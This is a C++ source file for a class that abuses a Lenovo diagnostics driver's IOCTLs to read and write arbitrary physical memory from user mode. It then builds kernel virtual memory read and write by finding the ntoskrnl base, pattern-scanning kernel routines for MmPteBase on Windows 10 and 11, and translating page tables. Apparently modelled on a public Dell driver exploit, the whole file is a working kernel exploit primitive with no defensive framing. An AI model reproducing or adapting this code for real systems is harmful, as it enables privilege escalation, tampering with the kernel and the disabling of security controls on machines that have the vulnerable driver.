/*
Copyright 2022 <COPYRIGHT HOLDER>

Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
*/

#include "LenovoMemoryMgr.h"
#include <winternl.h>
#define DEBUGTRACE 1
#include "common.h"

template <typename T>
BOOL LenovoMemoryMgr::ReadPhysData(UINT64 address, T* data)
{
//	dprintf("Entered ReadPhystData");
//	dprintf("Reading %zd bytes from %llx\n", sizeof(T), address);

	if (!data) {
		return FALSE;
	}

	switch (sizeof(T))
	{
	case 1:
	case 2:
	case 4:
	case 8:
		break;
	default:
		return FALSE;
	}

	LDIAG_READ lr = { 0 };
	BOOL bStatus = FALSE;
	DWORD dwBytesReturned = 0;
	DWORD64 outbuffer = 0;

	lr.data = address;
	lr.wLen = sizeof(DWORD64);

//	dprintf("About to DeviceIOControl");
	bStatus = DeviceIoControl(
		this->hDevice,
		IOCTL_PHYS_RD,
		&lr,
		sizeof(LDIAG_READ),
		&outbuffer,
		sizeof(DWORD64),
		&dwBytesReturned,
		NULL
	);

//	dprintf("DeviceIOControl completed");

	if (!bStatus) {
		return FALSE;
	}

	*data = (T)outbuffer;
	return TRUE;
}

template<typename T>
BOOL LenovoMemoryMgr::WritePhysData(_In_ UINT64 PhysDest, _In_ T* data)
{
//	dprintf("WritePhysData entered\n\tPhysDest %llx\n\tData %p\n\tsizeof(Data) %llx\n", PhysDest, data, sizeof(T));
	if (!data && !PhysDest) {
		return FALSE;
	}

	switch (sizeof(T))
	{
	case 1:
	case 2:
	case 4:
	case 8:
		break;
	default:
		return FALSE;
	}

	NTSTATUS status = 0;
	BOOL bRes = FALSE;
	LDIAG_WRITE lw = { 0 };
	DWORD dwBytesReturned = 0;

	lw._where = PhysDest;
	lw._what_ptr = (DWORD64)data;
	lw.dwMapSize = (DWORD)sizeof(T);
	lw.dwLo = 0x6C61696E;

//	dprintf("About to DeviceIOControl");
	status = DeviceIoControl(
		this->hDevice,
		IOCTL_PHYS_WR,
		&lw,
		sizeof(LDIAG_WRITE),
		NULL,
		0,
		&dwBytesReturned,
		NULL
	);
//	dprintf("DeviceIOControl Complete");

	return NT_SUCCESS(status);
}

template<typename T>
BOOL LenovoMemoryMgr::ReadVirtData(UINT64 address, T* data)
{
	//dprintf("Entered ReadVirtData");
	//dprintf("Reading %zd bytes from %llx\n", sizeof(T), address);

	if (!data) {
		return FALSE;
	}

	switch (sizeof(T))
	{
	case 1:
	case 2:
	case 4:
	case 8:
		break;
	default:
		return FALSE;
	}

	if (!this->WritePhysData(this->physSwapAddr, (T*)address)) {
		return FALSE;
	}

	return this->ReadPhysData(this->physSwapAddr, data);
}

template<typename T>
BOOL LenovoMemoryMgr::WriteVirtData(UINT64 address, T* data)
{
	dprintf("Entered WriteVirtData");
	dprintf("Writing %zd bytes from %llx\n", sizeof(T), address);
	if (!data) {
		return FALSE;
	}

	switch (sizeof(T))
	{
	case 1:
	case 2:
	case 4:
	case 8:
		break;
	default:
		return FALSE;
	}

	PAGE_TABLE_ENTRY pte = { 0 };
	PFILL_PTE_HIERARCHY PteHierarchy = this->CreatePteHierarchy(address);

	PageType pt = this->GetPageTypeForVirtualAddress(address, &pte);
	UINT64 PhysAddr = this->VtoP(address, pte.flags.Pfn, pt);

	return this->WritePhysData(PhysAddr, data);
}

// https://github.com/ch3rn0byl/CVE-2021-21551/blob/master/CVE-2021-21551/DellBiosUtil.cpp
PFILL_PTE_HIERARCHY LenovoMemoryMgr::CreatePteHierarchy(UINT64 VirtualAddress)
{
	PFILL_PTE_HIERARCHY retval = new FILL_PTE_HIERARCHY;

	///
	/// Resolve the PTE address
	///
	VirtualAddress >>= 9;
	VirtualAddress &= 0x7FFFFFFFF8;
	VirtualAddress += this->PteBase;

	retval->PTE = VirtualAddress;

	///
	/// Resolve the PDE address
	///
	VirtualAddress >>= 9;
	VirtualAddress &= 0x7FFFFFFFF8;
	VirtualAddress += this->PteBase;

	retval->PDE = VirtualAddress;

	///
	/// Resolve the PPE address
	///
	VirtualAddress >>= 9;
	VirtualAddress &= 0x7FFFFFFFF8;
	VirtualAddress += this->PteBase;

	retval->PPE = VirtualAddress;

	///
	/// Resolve the PXE address
	///
	VirtualAddress >>= 9;
	VirtualAddress &= 0x7FFFFFFFF8;
	VirtualAddress += this->PteBase;

	retval->PXE = VirtualAddress;

	return retval;
}

UINT64 LenovoMemoryMgr::FindPhysSwapSpace()
{
	UINT64 begin = 0x1000;
	UINT64 end = 0x10000;
	BOOL bRes = FALSE;
	UINT64 val = 0;
	while (begin < end) {
		bRes = this->ReadPhysData<UINT64>(begin, &val);
		if (!bRes) {
			return NULL;
		}

		if (!val) {
			return begin;
		}

		begin += 8;
	}
	return NULL;
}

UINT64 LenovoMemoryMgr::GetPteBaseW11()
{
	DWORD64 read_src = 0;
	DWORD64 call_loc = 0;
	DWORD64 sz_found_item = 0;
	LPVOID lpMiGetPhysicalAddress = NULL;
	LPVOID lpMiFillPteHierarchy = NULL;
	DWORD64 lpMmPteBase = NULL;

	HMODULE hNtos = LoadLibraryA("ntoskrnl.exe");

	LONG dwRel32Loc = 0;
	WORD wNopRet = 0;
	BOOL bRes = FALSE;
	BYTE firstByte = 0;

	if (!hNtos) {
		return FALSE;
	}

	PVOID lpMmGetPhysicalAddress = GetProcAddress(hNtos, "MmGetPhysicalAddress");
	dprintf("lpMmGetPhysicalAddress is %llx\n", lpMmGetPhysicalAddress);

	if (!lpMmGetPhysicalAddress) {
		dprintf("Finding MmGetPhysicalAddress failed");
		return FALSE;
	}


	dprintf("lpMmGetPhysicalAddress = (SIZE_T)lpMmGetPhysicalAddress - (SIZE_T)hNtos + (SIZE_T)this->NtosBase");
	dprintf("lpMmGetPhysicalAddress is %llx\n", lpMmGetPhysicalAddress);
	dprintf("(SIZE_T)hNtos %llx\n", (SIZE_T)hNtos);
	dprintf("(SIZE_T)this->NtosBase %llx\n", (SIZE_T)this->NtosBase);
	lpMmGetPhysicalAddress = (PVOID)(((SIZE_T)lpMmGetPhysicalAddress - (SIZE_T)hNtos) + (SIZE_T)this->NtosBase);

	dprintf("lpMmGetPhysicalAddress is now: %llx\n", lpMmGetPhysicalAddress);

	FreeLibrary(hNtos);

	dprintf("Searching MmGetPhysicalAddress for MiGetPhysicalAddress...");

	read_src = (SIZE_T)lpMmGetPhysicalAddress;

	bRes = this->SearchPattern(
		(PBYTE)&arrMmGetPhysPattern,
		(PBYTE)&arrMmGetPhysMask,
		sizeof(arrMmGetPhysMask),
		(UINT64)lpMmGetPhysicalAddress,
		MAXSEARCH_MMGETPHYS,
		(PUINT64)&lpMiGetPhysicalAddress
	);

	if (!bRes) {
		return FALSE;
	}

	dprintf("Found MiGetPhysicalAddress call at %llx\n", (SIZE_T)lpMiGetPhysicalAddress);
	dprintf("reading offset from call instruction");

	bRes = this->ReadVirtData(((SIZE_T)lpMiGetPhysicalAddress + 1), (PDWORD)&dwRel32Loc);

	if (!bRes) {
		return FALSE;
	}

	lpMiGetPhysicalAddress = (PVOID)((SIZE_T)lpMiGetPhysicalAddress + SZ_CALLREL32 + dwRel32Loc);

	dprintf("MiGetPhysicalAddress at %llx\n", (SIZE_T)lpMiGetPhysicalAddress);
	dprintf("Searching MiGetPhysicalAddress for MiFillPteHierarchy...");
	bRes = SearchPattern(
		(PBYTE)&arrCallMiFillPteHierarchy,
		(PBYTE)&arrCallMiFillPteHierarchyMask,
		sizeof(arrCallMiFillPteHierarchy),
		(UINT64)lpMiGetPhysicalAddress,
		MAXSEARCH_MIGETPHYS,
		(PUINT64)&lpMiFillPteHierarchy
	);

	if (!bRes) {
		//puts("Failure in finding MiFillPteHierarchy call...");
		return FALSE;
	}

	dprintf("Found MiFillPteHierarchy call at %llx\n", (SIZE_T)lpMiFillPteHierarchy);
	dprintf("reading offset from call instruction");
	dwRel32Loc = 0;
	bRes = this->ReadVirtData<DWORD>(((SIZE_T)lpMiFillPteHierarchy + 1), (PDWORD)&dwRel32Loc);


	if (!bRes) {
		return FALSE;
	}

	dprintf("offset is %x\n", dwRel32Loc);
	lpMiFillPteHierarchy = (PVOID)((SIZE_T)lpMiFillPteHierarchy + SZ_CALLREL32 + dwRel32Loc);

	dprintf("MiFillPteHierarchy at %llx\n", (SIZE_T)lpMiFillPteHierarchy);
	dprintf("Searching MiFillPteHierarchy for PteBase...");
	UINT64 qwPteBase = 0;

	bRes = SearchPattern(
		arrMiFillPteHeirarchyPTE,
		arrMiFillPteHeirarchyPTEMask,
		sizeof(arrMiFillPteHeirarchyPTEMask),
		(UINT64)lpMiFillPteHierarchy,
		MAXSEARCH_MIGETPHYS,
		(PUINT64)&qwPteBase
	);

	dprintf("PteBase found %llx\n", qwPteBase);

	if (!bRes) {
		return FALSE;
	}

	bRes = this->ReadVirtData<UINT64>((qwPteBase + 2), &qwPteBase);

	if (!bRes) {
		return FALSE;
	}

	dprintf("PteBase is %llx\n", qwPteBase);
	return qwPteBase;
}


UINT64 LenovoMemoryMgr::GetPteBaseW10()
{
	DWORD64 read_src = 0;
	DWORD64 call_loc = 0;
	DWORD64 sz_found_item = 0;
	LPVOID lpKeBugCheck2 = NULL;
	LPVOID lpKiMarkBugCheckRegions = NULL;
	LPVOID lpMovRaxPteBase = NULL; // might not need this...


	HMODULE hNtos = LoadLibraryA("ntoskrnl.exe");

	LONG dwRel32Loc = 0;
	WORD wNopRet = 0;
	BOOL bRes = FALSE;
	BYTE firstByte = 0;

	if (!hNtos) {
		return FALSE;
	}

	PVOID lpKeBugCheckEx = GetProcAddress(hNtos, "KeBugCheckEx");
	dprintf("lpKeBugCheckEx is %llx\n", lpKeBugCheckEx);

	if (!lpKeBugCheckEx) {
		dprintf("Finding KeBugCheckEx failed");
		return FALSE;
	}

	lpKeBugCheckEx = (PVOID)(((SIZE_T)lpKeBugCheckEx - (SIZE_T)hNtos) + (SIZE_T)this->NtosBase);
	FreeLibrary(hNtos);
	read_src = (SIZE_T)lpKeBugCheckEx;

	bRes = this->SearchPattern(
		(PBYTE)&arrKeBugCheckExPattern,
		(PBYTE)&arrKeBugCheckExMask,
		sizeof(arrKeBugCheckExMask),
		(UINT64)lpKeBugCheckEx,
		MAXSEARCH_MMGETPHYS,
		(PUINT64)&lpKeBugCheck2
	);

	if (!bRes) {
		return FALSE;
	}

	dprintf("Found KeBugCheck2 call at %llx\n", (SIZE_T)lpKeBugCheck2);
	dprintf("reading offset from call instruction");

	bRes = this->ReadVirtData(((SIZE_T)lpKeBugCheck2 + 1), (PDWORD)&dwRel32Loc);

	dprintf("dwRel32Loc is now: %x\n", dwRel32Loc);
	dprintf("&dwRel32Loc is now: %x\n", &dwRel32Loc);

	if (!bRes) {
		return FALSE;
	}

	lpKeBugCheck2 = (PVOID)((SIZE_T)lpKeBugCheck2 + SZ_CALLREL32 + dwRel32Loc + 0xB00);

	dprintf("lpKeBugCheck2 at %llx\n", (SIZE_T)lpKeBugCheck2);
	dprintf("Searching KeBugCheck2 for KiMarkBugCheckRegion...");

	bRes = SearchPattern(
		(PBYTE)&arrKeBugCheck2Pattern,
		(PBYTE)&arrKeBugCheck2Mask,
		sizeof(arrKeBugCheck2Mask),
		(UINT64)lpKeBugCheck2,
		MAXSEARCH_KEBUGCHECK2,
		(PUINT64)&lpKiMarkBugCheckRegions
	);

	if (!bRes) {
		dprintf("Failure in finding KiMarkBugCheckRegions call...");
		return FALSE;
	}

	dprintf("Found KiMarkBugCheckRegions call at %llx\n", (SIZE_T)lpKiMarkBugCheckRegions);
	dprintf("reading offset from call instruction");
	dwRel32Loc = 0;
	bRes = this->ReadVirtData<DWORD>(((SIZE_T)lpKiMarkBugCheckRegions + 1), (PDWORD)&dwRel32Loc);

	if (!bRes) {
		return FALSE;
	}
	dprintf("offset is %x\n", dwRel32Loc);
	lpKiMarkBugCheckRegions = (PVOID)((SIZE_T)lpKiMarkBugCheckRegions + SZ_CALLREL32 + dwRel32Loc);


	dprintf("KiMarkBugCheckRegions at %llx\n", (SIZE_T)lpKiMarkBugCheckRegions);
	dprintf("Searching lpKiMarkBugCheckRegions for MmPteBase...");

	LPVOID lpMmPteBase = NULL;

	bRes = SearchPattern(
		arrMovRaxPteBasePattern,
		arrMovRaxPteBaseMask,
		sizeof(arrMovRaxPteBaseMask),
		(UINT64)lpKiMarkBugCheckRegions,
		MAXSEARCH_KIMARKBUGCHECKREGIONS,
		(PUINT64)&lpMmPteBase
	);

	if (!bRes) {
		dprintf(" !bRes, couldnt find MovRaxPteBase pattern or MmPteBase exitting ...");
		abort();
		return FALSE;
	}

	dprintf("FOUND MovRaxPteBase call at: %x\n", (SIZE_T)lpMmPteBase);
	dprintf("reading offset from call instruction");
	dwRel32Loc = 0;

	bRes = this->ReadVirtData<DWORD>(((SIZE_T)lpMmPteBase + 3), (PDWORD)&dwRel32Loc);

	dprintf("dwRel32Loc is now: %x\n", dwRel32Loc);
	dprintf("&dwRel32Loc is now: %x\n", &dwRel32Loc);

	if (!bRes) {
		dprintf("Reading the following virtual data failed: (MmPteBase + 2), &MmPteBase");
		return FALSE;
	}

	dprintf("offset is %x\n", dwRel32Loc);
	lpMmPteBase = (PVOID)((SIZE_T)lpMmPteBase + SZ_MOV_REL32  + dwRel32Loc);
	dprintf("lpMmPteBase is now %llx\n", lpMmPteBase);

	UINT64 MmPteBase;
	bRes = this->ReadVirtData<UINT64>(((SIZE_T)lpMmPteBase), &MmPteBase);
	dprintf("MmPteBase is now: %llx\n", MmPteBase);
	return MmPteBase;
}


UINT64 LenovoMemoryMgr::VtoP(UINT64 va, UINT64 index, PageType p)
{
	switch (p) {
	case PageType::UsePte:
		va &= 0xfff;
		break;
	case PageType::UsePde:
		va &= 0x1fffff;
		break;
	default:
		return 0;
	}
	return (index << 12) + va;
}

BOOL LenovoMemoryMgr::SearchPattern(PBYTE pattern, PBYTE mask, DWORD dwPatternSize, UINT64 lpBeginSearch, SIZE_T lenSearch, PUINT64 AddressOfPattern)
{
	SIZE_T szBeginSearch = (SIZE_T)lpBeginSearch;
	//dprintf("szBeginSearch is: %x\n", szBeginSearch);
	//dprintf("Search Length is: %x\n", lenSearch);
	BOOL bRes = FALSE;
	BOOL bFound = FALSE;
	for (int i = 0; i < lenSearch; i++) {
		for (unsigned int j = 0; j <= dwPatternSize; j++) {
			// read a byte
			BYTE b = 0;
			if (!this->ReadVirtData<BYTE>((szBeginSearch + i + j), &b)) {
				return FALSE;
			}
			if (j == dwPatternSize) {
				if (bFound)
				{
					*AddressOfPattern = szBeginSearch + i;
					return TRUE;
				}
				return FALSE;
			}

			// skip over if mask says to ignore value or if the byte matches our pattern
			if (mask[j] == '?' || b == pattern[j]) {
				//dprintf("Found %x\n", pattern[j]);
				bFound = TRUE;
			}
			else {
				bFound = FALSE;
				break;
			}
		}


	}

	return FALSE;
}

PageType LenovoMemoryMgr::GetPageTypeForVirtualAddress(UINT64 VirtAddress, PPAGE_TABLE_ENTRY PageTableEntry)
{
	// fill the pte hierarchy for the virtual address
	PFILL_PTE_HIERARCHY hierarchy = this->CreatePteHierarchy(VirtAddress);

	// read the PTE contents, if they are zero we are using large pages
	// if the PDE is also zero, god help you
	this->ReadVirtData<UINT64>(hierarchy->PTE, &PageTableEntry->value);

	if (!PageTableEntry->value) {
		this->ReadVirtData<UINT64>(hierarchy->PDE, &PageTableEntry->value);
		return PageType::UsePde;
	}

	return PageType::UsePte;
}

UINT64 LenovoMemoryMgr::FindNtosBase()
{
	printf("Starting FindNtosBase");
	UINT64 retval = 0;
	HANDLE hHeap = GetProcessHeap();

	LPVOID lpHeapBuffer = HeapAlloc(hHeap, 0, 0x2000);

	DWORD dwBytesReturned = 0;

	if (!lpHeapBuffer) {
		return NULL;
	}

	NTSTATUS status = NtQuerySystemInformation(
		(SYSTEM_INFORMATION_CLASS)SYS_INFO_CLASS_MODULE_INFO,
		lpHeapBuffer,
		0x2000,
		&dwBytesReturned
	);

	// realloc and try again
	// todo: add switch case for status
	if (!NT_SUCCESS(status)) {
		HeapFree(hHeap, 0, lpHeapBuffer);
		lpHeapBuffer = HeapAlloc(hHeap, 0, dwBytesReturned);

		if (!lpHeapBuffer) {
			return NULL;
		}

		status = NtQuerySystemInformation(
			(SYSTEM_INFORMATION_CLASS)SYS_INFO_CLASS_MODULE_INFO,
			lpHeapBuffer,
			dwBytesReturned,
			&dwBytesReturned
		);

		if (!NT_SUCCESS(status)) {
			return NULL;
		}
	}

	PSYSTEM_MODULE_INFORMATION psm = (PSYSTEM_MODULE_INFORMATION)lpHeapBuffer;
	if (psm->ModulesCount > 0) {
		retval = (UINT64)psm->Modules[0].ImageBase;
		HeapFree(hHeap, 0, lpHeapBuffer);

		return retval;
	}

	return NULL;
}

/*
		Todo: ensure our reads aren't crossing a page boundary
*/
_Use_decl_annotations_
BOOL LenovoMemoryMgr::ReadVirtualMemory(UINT64 address, PVOID buffer, size_t szBuffer)
{
	if (!buffer) {
		return FALSE;
	}
	BOOL bRes = FALSE;
	UINT64 bufferIndex = (UINT64)buffer;

	while (TRUE) {
		if (szBuffer > sizeof(UINT64)) {

			szBuffer -= sizeof(UINT64);
			bRes = this->ReadVirtData(address, (PUINT64)bufferIndex);
			if (!bRes) {
				return FALSE;
			}
			bufferIndex += sizeof(UINT64);

		}
		else if (szBuffer > sizeof(UINT32)) {

			szBuffer -= sizeof(UINT32);
			bRes = this->ReadVirtData(address, (PUINT32)bufferIndex);
			if (!bRes) {
				return FALSE;
			}
			bufferIndex += sizeof(UINT32);

		}
		else if (szBuffer > sizeof(UINT16)) {

			szBuffer -= sizeof(UINT16);
			bRes = this->ReadVirtData(address, (PUINT16)bufferIndex);
			if (!bRes) {
				return FALSE;
			}
			bufferIndex += sizeof(UINT16);

		}
		else if (szBuffer >= sizeof(UINT8)) {

			szBuffer -= sizeof(UINT8);
			bRes = this->ReadVirtData(address, (PUINT8)bufferIndex);
			if (!bRes) {
				return FALSE;
			}
			bufferIndex += sizeof(UINT8);

		}
		else {
			break;
		}
	}

	return TRUE;
}

/*
		Todo: ensure our writes aren't crossing a page boundary
*/
_Use_decl_annotations_
BOOL LenovoMemoryMgr::WriteVirtualMemory(UINT64 address, PVOID buffer, size_t szBuffer)
{
	if (!buffer) {
		return FALSE;
	}

	BOOL bRes = FALSE;
	UINT64 bufferIndex = (UINT64)buffer;

	while (TRUE) {
		if (szBuffer > sizeof(UINT64)) {

			szBuffer -= sizeof(UINT64);
			bRes = this->WriteVirtData(address, (PUINT64)bufferIndex);
			if (!bRes) {
				return FALSE;
			}
			bufferIndex += sizeof(UINT64);

		}
		else if (szBuffer > sizeof(UINT32)) {

			szBuffer -= sizeof(UINT32);
			bRes = this->WriteVirtData(address, (PUINT32)bufferIndex);
			if (!bRes) {
				return FALSE;
			}
			bufferIndex += sizeof(UINT32);

		}
		else if (szBuffer > sizeof(UINT16)) {

			szBuffer -= sizeof(UINT16);
			bRes = this->WriteVirtData(address, (PUINT16)bufferIndex);
			if (!bRes) {
				return FALSE;
			}
			bufferIndex += sizeof(UINT16);

		}
		else if (szBuffer >= sizeof(UINT8)) {

			szBuffer -= sizeof(UINT8);
			bRes = this->WriteVirtData(address, (PUINT8)bufferIndex);
			if (!bRes) {
				return FALSE;
			}
			bufferIndex += sizeof(UINT8);

		}
		else {
			break;
		}
	}

	return TRUE;

}

BOOL LenovoMemoryMgr::init(DWORD dwBuild)
{
	dprintf("Creating handle to a file");
	HANDLE hDev = CreateFileA(
		this->strDeviceName,
		GENERIC_READ,
		FILE_SHARE_READ,
		NULL,
		OPEN_EXISTING,
		FILE_ATTRIBUTE_NORMAL,
		NULL
	);

	if (hDev == NULL || hDev == INVALID_HANDLE_VALUE) {
		return FALSE;
	}

	dprintf("FindingNtosBase");
	this->NtosBase = this->FindNtosBase();
	dprintf("this->NtosBase is: %llx\n", this->NtosBase);
	this->hDevice = hDev;
	dprintf("FindingSwapSpace");
	this->physSwapAddr = this->FindPhysSwapSpace();
	dprintf("GettingPTEBase");
	dwBuild = LOWORD(dwBuild);
	if (dwBuild >= 22000) {
		this->PteBase = this->GetPteBaseW11();
	}
	else {
		this->PteBase = this->GetPteBaseW10();
	}
	return TRUE;
}

BOOL LenovoMemoryMgr::teardown()
{
	CloseHandle(this->hDevice);
	return 0;
}

